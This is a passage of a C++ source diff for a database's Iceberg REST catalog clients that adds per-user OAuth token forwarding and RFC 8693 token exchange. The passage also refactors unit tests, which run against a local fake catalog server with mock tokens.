request which + /// authenticated with since-rotated credentials cannot publish or cache its result as current. + /// Not a field of `CatalogState`, which is republished for unrelated reasons. + std::atomic auth_generation{0}; + + /// Serializes publishing an auth artifact against `commitSettingsChanges` publishing a new + /// one, so that the generation check and the publish it guards cannot be split by an ALTER. + /// Never held across a network request. + mutable std::mutex auth_publish_mutex; + /// TTL for caching vended credentials per table (0 means no caching). std::atomic vended_credentials_cache_ttl{std::chrono::seconds::zero()}; /// Sweep trigger threshold, not capacity! static constexpr size_t credentials_cache_cleanup_threshold = 1000; + /// Hard capacity: the sweep above only triggers on expiry, and with per-user keys the cache + /// is O(users x tables). Eviction is by earliest `expires_at`. + static constexpr size_t credentials_cache_max_entries = 10000; + static constexpr std::chrono::seconds credentials_expiry_safety_window{60}; mutable std::mutex credentials_cache_mutex; - mutable std::map, VendedStorageCredentials> credentials_cache + mutable std::map credentials_cache TSA_GUARDED_BY(credentials_cache_mutex); public: @@ -213,7 +355,9 @@ class RestCatalog : public ICatalog, public DB::WithContext /// request never mixes the endpoint of one state version with the auth of another. DB::ReadWriteBufferFromHTTPPtr createReadBuffer( const CatalogState & catalog_state, + UInt64 generation, const std::string & endpoint, + const DB::ForwardedAuthTokenPtr & auth_token, const Poco::URI::QueryParameters & params = {}, const DB::HTTPHeaderEntries & headers = {}, const std::optional & auth_headers = std::nullopt) const; @@ -227,13 +371,15 @@ class RestCatalog : public ICatalog, public DB::WithContext const std::string & base_namespace, Namespaces & result, StopCondition stop_condition, - ExecuteFunc func) const; + ExecuteFunc func, + const DB::ForwardedAuthTokenPtr & auth_token) const; - Namespaces getNamespaces(const std::string & base_namespace) const; + Namespaces getNamespaces(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token) const; Namespaces parseNamespaces(DB::ReadBuffer & buf, const std::string & base_namespace, String & next_page_token) const; - DB::Names getTables(const std::string & base_namespace, size_t limit = 0) const; + /// Named apart from the `getTables(auth_token)` override, which it would otherwise overload. + DB::Names getTablesInNamespace(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token, size_t limit = 0) const; DB::Names parseTables(DB::ReadBuffer & buf, const std::string & base_namespace, size_t limit, String & next_page_token) const; @@ -242,21 +388,37 @@ class RestCatalog : public ICatalog, public DB::WithContext const std::string & table_name, DB::ContextPtr context_, TableMetadata & result, + const DB::ForwardedAuthTokenPtr & auth_token, bool allow_credentials_cache = true) const; + /// `tryGetTableMetadata` for callers that carry the token separately from the context. + bool tryGetTableMetadataImpl( + const std::string & namespace_name, + const std::string & table_name, + DB::ContextPtr context_, + TableMetadata & result, + const DB::ForwardedAuthTokenPtr & auth_token) const; + /// Load catalog config (special http handler) utilizing information from catalog_state and auth_headers. - Config loadConfig(const CatalogState & catalog_state, const std::optional & auth_headers = std::nullopt); - /// `method`, `url`, `extra_headers` and `body` describe the request being authenticated. They are - /// used by catalogs that sign the request itself (AWS SigV4 in `S3TablesCatalog`); catalogs that - /// authenticate with a token or a static header ignore them. - virtual DB::HTTPHeaderEntries getAuthHeaders( + Config loadConfig( const CatalogState & catalog_state, - bool update_token, - const String & method = {}, - const Poco::URI & url = {}, - const DB::HTTPHeaderEntries & extra_headers = {}, - const String & body = {}, - bool * used_cached_oauth_token = nullptr) const; + UInt64 generation, + const DB::ForwardedAuthTokenPtr & auth_token, + const std::optional & auth_headers = std::nullopt) const; + + virtual DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const; + + void validateForwardedToken(const DB::ForwardedAuthTokenPtr & auth_token) const; + + /// The user's own token, or the session token obtained by exchanging it, depending on whether + /// `oauth_token_exchange_uri` is set. Throws `CATALOG_USER_TOKEN_NOT_AVAILABLE` when there is + /// no token, or when `enable_token_forwarding` has since been turned off; never falls back to + /// the service principal. + String getForwardedToken( + const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const; + + /// Whether a failed catalog request should be retried once with a freshly minted token. + bool shouldRetryWithFreshToken(Poco::Net::HTTPResponse::HTTPStatus status) const; void validateAuthHeaders(const DB::HTTPHeaderEntry & header) const; @@ -264,30 +426,46 @@ class RestCatalog : public ICatalog, public DB::WithContext void sendRequest( const CatalogState & catalog_state, + UInt64 generation, const String & endpoint, Poco::JSON::Object::Ptr request_body, + const DB::ForwardedAuthTokenPtr & auth_token, const String & method = Poco::Net::HTTPRequest::HTTP_POST, bool ignore_result = false) const; VendedStorageCredentials getCredentialsAndEndpoint(Poco::JSON::Object::Ptr object, const String & location) const; - std::optional tryGetCachedCredentials( - const std::string & namespace_name, const std::string & table_name) const; + /// Empty when forwarding is off. + String getCredentialsCachePrincipal(const DB::ForwardedAuthTokenPtr & auth_token) const; - void cacheCredentials( - const std::string & namespace_name, - const std::string & table_name, - const VendedStorageCredentials & parsed) const; + std::optional tryGetCachedCredentials(const CredentialsCacheKey & key) const; + + void cacheCredentials(const CredentialsCacheKey & key, const VendedStorageCredentials & parsed) const; + + /// Publishes a freshly minted service-principal token into `access_token`, but only if the + /// credentials it was minted with are still in force. Returns it either way. + MultiVersion::Version publishServiceToken(AccessToken minted, UInt64 generation) const; + + /// Performs one OAuth token-endpoint request, for either grant. + AccessToken requestToken(const TokenRequest & request) const; + + /// RFC 8693 exchange of the user's token for a catalog session token, against + /// `oauth_token_exchange_uri`. + AccessToken exchangeUserToken( + const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthToken & auth_token, + const AccessToken * prepared_actor_token = nullptr) const; AccessToken retrieveAccessToken(const std::string & client_id, const std::string & client_secret) const; + /// The catalog service principal's own token, minted with a `client_credentials` grant and + /// cached in `access_token`. While forwarding is on it is only ever the RFC 8693 `actor_token`. + String getServicePrincipalToken(const CatalogState & catalog_state, UInt64 generation) const; + struct PreparedAuthChanges; /// Hook for `prepareSettingsChanges`: validate `changes` and apply them to `new_state`, - /// building the new auth artifacts, without publishing anything. When the OAuth - /// credentials change, the eagerly fetched token goes into `new_access_token` and - /// `new_auth_headers`, so that wrong credentials fail the ALTER right here and the - /// config reload authenticates with the new token instead of the cached one. + /// building the new auth artifacts, without publishing anything. When the OAuth credentials + /// change, a service token is fetched only for service authentication or delegation. virtual void applySettingsChangesToState( const DB::SettingsChanges & changes, const CatalogState & old_state, @@ -317,14 +495,7 @@ class OneLakeCatalog : public RestCatalog return DB::DatabaseDataLakeCatalogType::ICEBERG_ONELAKE; } - DB::HTTPHeaderEntries getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method = {}, - const Poco::URI & url = {}, - const DB::HTTPHeaderEntries & extra_headers = {}, - const String & body = {}, - bool * used_cached_oauth_token = nullptr) const override; + DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const override; /// `bearer_mode` means the catalog authenticates with `onelake_bearer_token`, /// otherwise with the `onelake_client_id` + `onelake_client_secret` pair. @@ -361,14 +532,7 @@ class BigLakeCatalog : public RestCatalog return DB::DatabaseDataLakeCatalogType::ICEBERG_BIGLAKE; } - DB::HTTPHeaderEntries getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method = {}, - const Poco::URI & url = {}, - const DB::HTTPHeaderEntries & extra_headers = {}, - const String & body = {}, - bool * used_cached_oauth_token = nullptr) const override; + DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const override; const std::string & getGoogleADCClientId() const { return google_adc_client_id; } const std::string & getGoogleADCClientSecret() const { return google_adc_client_secret; } diff --git a/src/Databases/DataLake/S3TablesCatalog.cpp b/src/Databases/DataLake/S3TablesCatalog.cpp index 961125be9819..d28987fe346e 100644 --- a/src/Databases/DataLake/S3TablesCatalog.cpp +++ b/src/Databases/DataLake/S3TablesCatalog.cpp @@ -114,7 +114,8 @@ S3TablesCatalog::S3TablesCatalog( /* urlEscapePath = */ false); CatalogState initial_state; - initial_state.config = loadConfig(initial_state); + initial_state.config = loadConfig(initial_state, /* generation */ 0, /* auth_token */ {}); + initial_state.config_loaded = true; if (initial_state.config.prefix.empty()) { @@ -128,9 +129,9 @@ S3TablesCatalog::S3TablesCatalog( /// S3 Tables only supports a single level of namespaces (no nesting), /// so we use flat getNamespaces() instead of the base class's getNamespacesRecursive(). -DB::Names S3TablesCatalog::getTables() const +DB::Names S3TablesCatalog::getTables(const DB::ForwardedAuthTokenPtr & auth_token) const { - auto namespaces = getNamespaces(""); + auto namespaces = getNamespaces("", auth_token); auto & pool = getContext()->getIcebergCatalogThreadpool(); DB::ThreadPoolCallbackRunnerLocal runner(pool, DB::ThreadName::DATALAKE_REST_CATALOG); @@ -142,7 +143,7 @@ DB::Names S3TablesCatalog::getTables() const runner.enqueueAndKeepTrack( [&, ns] { - auto tables_in_ns = RestCatalog::getTables(ns); + auto tables_in_ns = RestCatalog::getTablesInNamespace(ns, auth_token); std::lock_guard lock(mutex); std::move(tables_in_ns.begin(), tables_in_ns.end(), std::back_inserter(tables)); }); @@ -197,9 +198,10 @@ bool S3TablesCatalog::tryGetTableMetadata( return true; } -ICatalog::CredentialsRefreshCallback S3TablesCatalog::getCredentialsConfigurationCallback(const DB::StorageID & storage_id) +ICatalog::CredentialsRefreshCallback S3TablesCatalog::getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) { - auto base_cb = RestCatalog::getCredentialsConfigurationCallback(storage_id); + auto base_cb = RestCatalog::getCredentialsConfigurationCallback(storage_id, auth_token); return [this, base_callback = std::move(base_cb)] () -> std::shared_ptr { if (base_callback) @@ -217,9 +219,9 @@ ICatalog::CredentialsRefreshCallback S3TablesCatalog::getCredentialsConfiguratio }; } -void S3TablesCatalog::dropTable(const String & namespace_name, const String & table_name) const +void S3TablesCatalog::dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / "namespaces" / namespace_name / "tables" / table_name).string() + "?purgeRequested=True"; @@ -229,7 +231,8 @@ void S3TablesCatalog::dropTable(const String & namespace_name, const String & ta { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogDropTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogDropTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body, Poco::Net::HTTPRequest::HTTP_DELETE, true); + sendRequest( + *state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token, Poco::Net::HTTPRequest::HTTP_DELETE, true); } catch (const DB::HTTPException & ex) { @@ -240,17 +243,12 @@ void S3TablesCatalog::dropTable(const String & namespace_name, const String & ta } } -DB::HTTPHeaderEntries S3TablesCatalog::getAuthHeaders( - const CatalogState & /*catalog_state*/, - bool /*update_token*/, - const String & method, - const Poco::URI & url, - const DB::HTTPHeaderEntries & extra_headers, - const String & body, - bool * /*used_cached_oauth_token*/) const +DB::HTTPHeaderEntries S3TablesCatalog::getAuthHeaders(const AuthContext & auth_context) const { DB::HTTPHeaderEntries all_signed; - signRequestWithAWSV4(method, url, extra_headers, body, *signer, region, "s3tables", all_signed); + signRequestWithAWSV4( + auth_context.method, auth_context.url, auth_context.extra_headers, auth_context.body, + *signer, region, "s3tables", all_signed); DB::HTTPHeaderEntries auth_headers; for (auto & h : all_signed) diff --git a/src/Databases/DataLake/S3TablesCatalog.h b/src/Databases/DataLake/S3TablesCatalog.h index a878bb17d924..920d02e5fdf1 100644 --- a/src/Databases/DataLake/S3TablesCatalog.h +++ b/src/Databases/DataLake/S3TablesCatalog.h @@ -33,7 +33,7 @@ class S3TablesCatalog final : public RestCatalog DB::DatabaseDataLakeCatalogType getCatalogType() const override { return DB::DatabaseDataLakeCatalogType::S3_TABLES; } - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; bool tryGetTableMetadata( const std::string & namespace_name, @@ -41,19 +41,16 @@ class S3TablesCatalog final : public RestCatalog DB::ContextPtr context_, TableMetadata & result) const override; - void dropTable(const String & namespace_name, const String & table_name) const override; + void dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; - ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & storage_id) override; + ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) override; + + /// SigV4, not OAuth: there is no bearer token to forward. + bool supportsUserTokenForwarding() const override { return false; } protected: - DB::HTTPHeaderEntries getAuthHeaders( - const CatalogState & catalog_state, - bool update_token, - const String & method = {}, - const Poco::URI & url = {}, - const DB::HTTPHeaderEntries & extra_headers = {}, - const String & body = {}, - bool * used_cached_oauth_token = nullptr) const override; + DB::HTTPHeaderEntries getAuthHeaders(const AuthContext & auth_context) const override; private: const String region; diff --git a/src/Databases/DataLake/UnityCatalog.cpp b/src/Databases/DataLake/UnityCatalog.cpp index 57f3e02f9d09..b48306e72441 100644 --- a/src/Databases/DataLake/UnityCatalog.cpp +++ b/src/Databases/DataLake/UnityCatalog.cpp @@ -80,7 +80,7 @@ std::pair UnityCatalog::postJSONRequest(const s return makeHTTPRequestAndReadJSON(base_url / route, context, credentials, {}, {auth_header}, Poco::Net::HTTPRequest::HTTP_POST, out_stream_callaback); } -bool UnityCatalog::empty() const +bool UnityCatalog::empty(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { auto all_schemas = getSchemas(""); for (const auto & schema : all_schemas) @@ -92,7 +92,7 @@ bool UnityCatalog::empty() const return true; } -DB::Names UnityCatalog::getTables() const +DB::Names UnityCatalog::getTables(const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { DB::Names result; @@ -314,7 +314,7 @@ bool UnityCatalog::tryGetTableMetadata( } } -bool UnityCatalog::existsTable(const std::string & schema_name, const std::string & table_name) const +bool UnityCatalog::existsTable(const std::string & schema_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & /*auth_token*/) const { if (!isNamespaceAllowed(schema_name)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Namespace {} is filtered by `namespaces` database parameter", schema_name); @@ -499,7 +499,8 @@ bool UnityCatalog::isNamespaceAllowed(const std::string & namespace_) const } /// getCredentialsConfigurationCallback method is supported only for S3 storage -ICatalog::CredentialsRefreshCallback UnityCatalog::getCredentialsConfigurationCallback(const DB::StorageID & table_id) +ICatalog::CredentialsRefreshCallback UnityCatalog::getCredentialsConfigurationCallback( + const DB::StorageID & table_id, const DB::ForwardedAuthTokenPtr & /*auth_token*/) { if (!table_id.hasUUID()) throw DB::Exception( diff --git a/src/Databases/DataLake/UnityCatalog.h b/src/Databases/DataLake/UnityCatalog.h index caa66cf90044..ff44472bad8c 100644 --- a/src/Databases/DataLake/UnityCatalog.h +++ b/src/Databases/DataLake/UnityCatalog.h @@ -27,11 +27,13 @@ class UnityCatalog final : public ICatalog, private DB::WithContext ~UnityCatalog() override = default; - bool empty() const override; + /// Unity catalog authenticates with its own configured credential; the user's token is + /// accepted and ignored so that "this catalog does not forward" is visible at every call site. + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const std::string & schema_name, const std::string & table_name) const override; + bool existsTable(const std::string & schema_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata( const std::string & namespace_name, @@ -82,7 +84,8 @@ class UnityCatalog final : public ICatalog, private DB::WithContext const std::string & table_name, TableMetadata & result) const; - ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & table_id) override; + ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & table_id, const DB::ForwardedAuthTokenPtr & auth_token) override; }; } diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog.cpp index 9e5c3a7f86a8..1038cb1d2d88 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog.cpp @@ -7,33 +7,20 @@ #include #include #include -#include +#include #include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include +#include #include using namespace DataLake; +using namespace RestCatalogTest; namespace DB { namespace ErrorCodes { - extern const int LOGICAL_ERROR; extern const int BAD_ARGUMENTS; - extern const int NOT_IMPLEMENTED; } } @@ -47,177 +34,66 @@ enum class CatalogShape Empty, }; -void writeJSON(Poco::Net::HTTPServerResponse & response, const std::string & body) +std::string getParent(const std::string & query) { - response.setStatus(Poco::Net::HTTPResponse::HTTP_OK); - response.setContentType("application/json"); - response.setContentLength(body.size()); - response.send() << body; + Poco::URI uri; + uri.setRawQuery(query); + for (const auto & [key, value] : uri.getQueryParameters()) + if (key == "parent") + return value; + return {}; } -void writeError(Poco::Net::HTTPServerResponse & response, Poco::Net::HTTPResponse::HTTPStatus status, const std::string & body) +void installShape(ServerState & state, CatalogShape shape) { - response.setStatus(status); - response.setContentType("application/json"); - response.setContentLength(body.size()); - response.send() << body; -} - -std::string getRawPath(const std::string & uri) -{ - const auto query_pos = uri.find('?'); - if (query_pos == std::string::npos) - return uri; - return uri.substr(0, query_pos); -} - -class RestCatalogRequestHandler final : public Poco::Net::HTTPRequestHandler -{ -public: - explicit RestCatalogRequestHandler(CatalogShape shape_) - : shape(shape_) - { - } - - void handleRequest(Poco::Net::HTTPServerRequest & request, Poco::Net::HTTPServerResponse & response) override + state.setRoute("/v1/namespaces", [shape](const RecordedRequest & request) { - Poco::URI uri(request.getURI()); - const auto path = getRawPath(request.getURI()); - const auto params = uri.getQueryParameters(); - - if (path == "/v1/config") - { - writeJSON(response, R"({"defaults":{},"overrides":{}})"); - return; - } - - if (path == "/v1/oauth/tokens") - { - writeJSON(response, R"({"token_type":"Bearer","expires_in":3600,"access_token":"mock-access-token"})"); - return; - } - - if (path == "/v1/namespaces") - { - const auto parent = getParent(params); - if (parent.empty()) - { - if (shape == CatalogShape::NestedTableThenEmptySibling) - writeJSON(response, R"({"namespaces":[["parent"],["empty_later"]]})"); - else - writeJSON(response, R"({"namespaces":[["namespace"]]})"); - return; - } - - if (shape == CatalogShape::NestedTableThenEmptySibling && parent == "parent") - writeJSON(response, R"({"namespaces":[["leaf_with_table"]]})"); - else - writeJSON(response, R"({"namespaces":[]})"); - return; - } - - if (path == "/v1/namespaces/namespace/tables") - { - if (shape == CatalogShape::TopLevelTable) - writeJSON(response, R"({"identifiers":[{"name":"table_a"}]})"); - else - writeJSON(response, R"({"identifiers":[]})"); - return; - } - - if (path == "/v1/namespaces/parent/tables" - || path == "/v1/namespaces/empty_later/tables") - { - writeJSON(response, R"({"identifiers":[]})"); - return; - } - - if (path == "/v1/namespaces/parent%1Fleaf_with_table/tables") - { - writeJSON(response, R"({"identifiers":[{"name":"table_a"}]})"); - return; - } - - if (path == "/v1/namespaces/namespace/tables/table_a") - { - writeJSON(response, R"({"metadata":{"table-uuid":"11111111-2222-3333-4444-555555555555"}})"); - return; - } - - if (path == "/v1/namespaces/namespace/tables/missing_table") - { - writeError(response, Poco::Net::HTTPResponse::HTTP_NOT_FOUND, R"({"error":{"message":"Table does not exist","type":"NoSuchTableException","code":404}})"); - return; - } - - if (path == "/v1/namespaces/namespace/tables/unauthorized_table") + const auto parent = getParent(request.query); + if (parent.empty()) { - writeError(response, Poco::Net::HTTPResponse::HTTP_UNAUTHORIZED, R"({"error":{"message":"The access token has expired","type":"NotAuthorizedException","code":401}})"); - return; + if (shape == CatalogShape::NestedTableThenEmptySibling) + return json(R"({"namespaces":[["parent"],["empty_later"]]})"); + return json(R"({"namespaces":[["namespace"]]})"); } - throw DB::Exception(DB::ErrorCodes::LOGICAL_ERROR, "Unexpected request to fake Iceberg REST catalog: {}", request.getURI()); - } + if (shape == CatalogShape::NestedTableThenEmptySibling && parent == "parent") + return json(R"({"namespaces":[["leaf_with_table"]]})"); + return json(R"({"namespaces":[]})"); + }); -private: - static std::string getParent(const Poco::URI::QueryParameters & params) + state.setRoute("/v1/namespaces/namespace/tables", [shape](const RecordedRequest &) { - for (const auto & [key, value] : params) - { - if (key == "parent") - return value; - } - return {}; - } - - CatalogShape shape; -}; + if (shape == CatalogShape::TopLevelTable) + return json(R"({"identifiers":[{"name":"table_a"}]})"); + return json(R"({"identifiers":[]})"); + }); + + state.setStaticRoute("/v1/namespaces/parent/tables", R"({"identifiers":[]})"); + state.setStaticRoute("/v1/namespaces/empty_later/tables", R"({"identifiers":[]})"); + state.setStaticRoute("/v1/namespaces/parent%1Fleaf_with_table/tables", R"({"identifiers":[{"name":"table_a"}]})"); +} -class RestCatalogRequestHandlerFactory final : public Poco::Net::HTTPRequestHandlerFactory +/// The service-principal grant, for the catalogs created with `catalog_credential`. +void installTokenEndpoint(ServerState & state) { -public: - explicit RestCatalogRequestHandlerFactory(CatalogShape shape_) - : shape(shape_) - { - } - - Poco::Net::HTTPRequestHandler * createRequestHandler(const Poco::Net::HTTPServerRequest &) override - { - return new RestCatalogRequestHandler(shape); - } - -private: - CatalogShape shape; -}; + state.setStaticRoute("/v1/oauth/tokens", R"({"token_type":"Bearer","expires_in":3600,"access_token":"mock-access-token"})"); +} -class RestCatalogTestServer +void installTableRoutes(ServerState & state) { -public: - explicit RestCatalogTestServer(CatalogShape shape) - : server_socket(std::make_unique(Poco::Net::SocketAddress("127.0.0.1", 0))) - , handler_factory(new RestCatalogRequestHandlerFactory(shape)) - , server_params(new Poco::Net::HTTPServerParams()) - , server(std::make_unique(handler_factory, *server_socket, server_params)) - { - server->start(); - } - - ~RestCatalogTestServer() + state.setStaticRoute( + "/v1/namespaces/namespace/tables/table_a", R"({"metadata":{"table-uuid":"11111111-2222-3333-4444-555555555555"}})"); + state.setRoute("/v1/namespaces/namespace/tables/missing_table", [](const RecordedRequest &) { - server->stop(); - } - - std::string getUrl() const + return respondWithStatus( + 404, R"({"error":{"message":"Table does not exist","type":"NoSuchTableException","code":404}})"); + }); + state.setRoute("/v1/namespaces/namespace/tables/unauthorized_table", [](const RecordedRequest &) { - return "http://" + server_socket->address().toString(); - } - -private: - std::unique_ptr server_socket; - Poco::SharedPtr handler_factory; - Poco::AutoPtr server_params; - std::unique_ptr server; -}; + return respondWithStatus( + 401, R"({"error":{"message":"The access token has expired","type":"NotAuthorizedException","code":401}})"); + }); +} void expectThrowsCode(std::function fn, int expected_code) { @@ -234,7 +110,9 @@ void expectThrowsCode(std::function fn, int expected_code) bool restCatalogEmpty(CatalogShape shape) { - RestCatalogTestServer server(shape); + TestServer server; + installShape(*server, shape); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -249,7 +127,7 @@ bool restCatalogEmpty(CatalogShape shape) /* namespaces */"*", context); - return catalog.empty(); + return catalog.empty(/* auth_token */ {}); } } @@ -271,7 +149,9 @@ TEST(RestCatalog, EmptyReturnsTrueWhenNoTablesExist) TEST(RestCatalog, ApplySettingsChangesWithoutAuthenticationRejected) { - RestCatalogTestServer server(CatalogShape::Empty); + TestServer server; + installShape(*server, CatalogShape::Empty); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -293,7 +173,10 @@ TEST(RestCatalog, ApplySettingsChangesWithoutAuthenticationRejected) TEST(RestCatalog, ApplySettingsChangesCredentialMode) { - RestCatalogTestServer server(CatalogShape::Empty); + TestServer server; + installShape(*server, CatalogShape::Empty); + installTokenEndpoint(*server); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -335,7 +218,9 @@ TEST(RestCatalog, ApplySettingsChangesCredentialMode) TEST(RestCatalog, ApplySettingsChangesAuthHeaderMode) { - RestCatalogTestServer server(CatalogShape::Empty); + TestServer server; + installShape(*server, CatalogShape::Empty); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -365,7 +250,9 @@ TEST(RestCatalog, ApplySettingsChangesAuthHeaderMode) TEST(RestCatalog, OneLakeApplySettingsChangesBearerMode) { - RestCatalogTestServer server(CatalogShape::Empty); + TestServer server; + installShape(*server, CatalogShape::Empty); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -419,7 +306,10 @@ TEST(RestCatalog, OneLakeApplySettingsChangesBearerMode) TEST(RestCatalog, TryGetTableMetadataDistinguishesMissingTableFromOtherErrors) { - RestCatalogTestServer server(CatalogShape::TopLevelTable); + TestServer server; + installShape(*server, CatalogShape::TopLevelTable); + installTableRoutes(*server); + auto context = DB::Context::createCopy(getContext().context); context->makeQueryContext(); @@ -436,15 +326,15 @@ TEST(RestCatalog, TryGetTableMetadataDistinguishesMissingTableFromOtherErrors) TableMetadata existing; EXPECT_TRUE(catalog.tryGetTableMetadata("namespace", "table_a", context, existing)); - EXPECT_TRUE(catalog.existsTable("namespace", "table_a")); + EXPECT_TRUE(catalog.existsTable("namespace", "table_a", /* auth_token */ {})); TableMetadata missing; EXPECT_FALSE(catalog.tryGetTableMetadata("namespace", "missing_table", context, missing)); - EXPECT_FALSE(catalog.existsTable("namespace", "missing_table")); + EXPECT_FALSE(catalog.existsTable("namespace", "missing_table", /* auth_token */ {})); TableMetadata unauthorized; EXPECT_THROW(catalog.tryGetTableMetadata("namespace", "unauthorized_table", context, unauthorized), DB::HTTPException); - EXPECT_THROW(catalog.existsTable("namespace", "unauthorized_table"), DB::HTTPException); + EXPECT_THROW(catalog.existsTable("namespace", "unauthorized_table", /* auth_token */ {}), DB::HTTPException); } #endif diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp new file mode 100644 index 000000000000..a8f3e58490be --- /dev/null +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -0,0 +1,1083 @@ +#include "config.h" + +#if USE_AVRO + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include + +using namespace DataLake; +using namespace RestCatalogTest; + +namespace DB::ErrorCodes +{ + extern const int CATALOG_USER_TOKEN_NOT_AVAILABLE; + extern const int DATALAKE_DATABASE_ERROR; +} + +namespace +{ + +/// Paths the fake catalog answers on. +constexpr auto CONFIG_PATH = "/v1/config"; +constexpr auto NAMESPACES_PATH = "/v1/namespaces"; +constexpr auto NS_TABLES_PATH = "/v1/namespaces/ns/tables"; +constexpr auto TABLE_PATH = "/v1/namespaces/ns/tables/t"; +/// The catalog's own (deprecated) token endpoint, and a separate IdP endpoint. +constexpr auto CATALOG_TOKEN_PATH = "/v1/oauth/tokens"; +constexpr auto IDP_TOKEN_PATH = "/idp/token"; + +constexpr auto ALICE_TOKEN = "alice.jwt.token"; +constexpr auto BOB_TOKEN = "bob.jwt.token"; + +DB::ForwardedAuthTokenPtr makeToken(const std::string & token, const std::string & principal) +{ + DB::TokenCredentials credentials(token); + credentials.setUserName(principal); + return DB::makeForwardedAuthToken(credentials, principal); +} + +DB::ContextMutablePtr makeQueryContext(const DB::ForwardedAuthTokenPtr & auth_token = {}) +{ + auto context = DB::Context::createCopy(getContext().context); + context->makeQueryContext(); + context->setForwardedAuthToken(auth_token); + return context; +} + +/// A catalog with one namespace `ns` holding one table `t`. `ns` has no nested namespaces: a +/// `?parent=` query must answer with an empty list, or `getNamespacesRecursive` descends forever. +void installCatalogShape(ServerState & state) +{ + state.setRoute(NAMESPACES_PATH, [](const RecordedRequest & request) + { + if (request.query.find("parent=") != std::string::npos) + return json(R"({"namespaces":[]})"); + return json(R"({"namespaces":[["ns"]]})"); + }); + state.setStaticRoute(NS_TABLES_PATH, R"({"identifiers":[{"name":"t"}]})"); +} + +std::string loadTableResponse(const std::string & access_key_id, const std::string & table_uuid = "1e1c0e10-0000-4000-8000-000000000001") +{ + /// Far-future expiry so the vended credentials are cacheable. + const auto expires_at_ms + = std::chrono::duration_cast((std::chrono::system_clock::now() + std::chrono::hours(24)).time_since_epoch()) + .count(); + return fmt::format( + R"({{"metadata-location":"s3://bucket/t/metadata/v1.metadata.json",)" + R"("metadata":{{"table-uuid":"{}","location":"s3://bucket/t","schemas":[],"current-schema-id":0}},)" + R"("config":{{"s3.access-key-id":"{}","s3.secret-access-key":"secret","s3.session-token":"session",)" + R"("s3.session-token-expires-at-ms":{}}}}})", + table_uuid, access_key_id, expires_at_ms); +} + +/// The `client_credentials` / token-exchange endpoint, answering with `session_token_`. +void installTokenEndpoint(ServerState & state, const std::string & path, Int64 expires_in = 3600) +{ + auto counter = std::make_shared(0); + state.setRoute(path, [counter, expires_in](const RecordedRequest &) + { + const size_t n = counter->fetch_add(1); + return json(fmt::format(R"({{"access_token":"session_token_{}","expires_in":{}}})", n, expires_in)); + }); +} + +TokenForwardingConfig passthrough() +{ + return TokenForwardingConfig{ + .forward_user_token = true, + .token_exchange_uri = "", + .subject_token_type = "", + .requested_token_type = "", + .forward_actor_token = false, + .user_token_cache_ttl = 0, + }; +} + +TokenForwardingConfig exchangeAt(const std::string & uri, UInt64 cache_ttl = 300, bool actor = false) +{ + return TokenForwardingConfig{ + .forward_user_token = true, + .token_exchange_uri = uri, + .subject_token_type = "urn:ietf:params:oauth:token-type:access_token", + .requested_token_type = "urn:ietf:params:oauth:token-type:access_token", + .forward_actor_token = actor, + .user_token_cache_ttl = cache_ttl, + }; +} + +/// The catalog keeps only a `std::weak_ptr` to the context (`DB::WithContext`), so `context` must +/// be a named local in the caller: a temporary would already be gone by the first request. +std::shared_ptr makeCatalog( + const TestServer & server, + const DB::ContextPtr & context, + const TokenForwardingConfig & forwarding, + const std::string & catalog_credential = "") +{ + return std::make_shared( + "warehouse", + server.getUrl(), + catalog_credential, + /* auth_scope */ "lakekeeper", + /* auth_header 